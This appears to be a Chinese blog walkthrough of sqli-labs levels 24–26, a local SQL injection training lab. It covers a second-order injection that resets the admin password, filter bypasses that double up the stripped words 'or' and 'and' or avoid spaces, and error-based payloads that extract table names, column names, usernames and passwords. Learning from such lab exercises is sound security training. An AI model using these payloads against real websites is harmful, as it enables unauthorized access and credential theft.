sqli-labs 24到26

发布时间 2023-05-31 15:32:26作者: 米斯特李

第24题

这道题是一个二次注入,二次注入一般用于白盒测试,也就是需要看源代码寻找漏洞

我们来看创建新用户的代码:

 可以看到先对username和pass进行了转义之后插入用户表。这就导致了二次注入的漏洞,

因为经过转义的信息插入之后变成我们想要的信息,到时候可以利用这些信息进行sql注入。

从上面的代码可以看到,对current_password、re_password、password都进行了特殊字符转义,只有username没有转义,因此再username上注入。

大致思想是这样:

创建一个名为admin'#的用户,修改密码的时候#会将后面的注释。

例如:

 查询后台发现多了一条。

 在页面上改密码为123456

 可见我们的想法没有错

 因此我们的注入就是在username上添加我们的sql语句:

admin' and extractvalue(1,concat(0x7e,database()))#

 结果说username长度超出。。。

 难道不是这样做?
看了大佬们的回答我才知道理解错了人家题目的意思呜呜呜,

 这里注意如果我们在username之后就闭合并注释

那么语句就会变成

update users set password='$pass' where username-'admin'#

所以如果我们用admin'#作为注册的用户名,那么相当于改了admin的秘密,原来如此。

重新试试

 这里看似改了admin'#的密码,实则改了admin的密码。

 

 这样就可以登录原来不知道密码的账户了。

第25题

这题简单,只对and和or进行了过滤并且过滤为空。

双写绕过:
因为过滤了or为空,所以我们可以写oorr,此时中间or会被过滤,因为过滤后为or

http://localhost/sqli-labs-php7-master/Less-25/?id=1'oorr 1=1-- -

 http://localhost/sqli-labs-php7-master/Less-25/?id=1'oorr 1=1 limit 1,1-- -

从而爆出所有用户名密码。

 第26题

这道题是对空格和注释进行了过滤。

 可以发现对/**/都过滤了。

 %20也过滤了。

 通常对于空格的过滤可以采取/**/、%a,%b0、%09等尝试绕过,但这道题所有这些全都过滤掉了

因此只能不用空格

sql语句:

http://localhost/sqli-labs-php7-master/Less-26/?id='||extractvalue(1,concat(0,database()))||'1'='1

 这时候有人要问了,database()查询可以不用括号,但其他表名库名怎么查?
上有政策下有对策

http://localhost/sqli-labs-php7-master/Less-26/?id='||extractvalue(1,concat(0,select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')))||'1'='1

 找了好久都没找到错误,才发现是information里的or被过滤了。。。

?id='||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'1'='1

爆字段名

http://localhost/sqli-labs-php7-master/Less-26?id='||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))))||'1'='1

显然这个不是想要的字段名,因为users表在其他数据库里也有,因此条件还得加上and table_schema='security',这里and被过滤,可以用%26%26绕过

?id='||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'%26%26table_schema='security'))))||'1'='1

 用户名密码:

?id='||extractvalue(1,concat(0x7e,(select(group_concat(username))from(security.users))))||'1'='1

 或者通过成对的方式输出:

?id=-1' || updatexml(1,concat(0x0a,(SELECT(group_concat(concat_ws(0x3a,username,passwoorrd))) FROM (security.users) WHERE (id = 1) ))  ,1) || '1'='1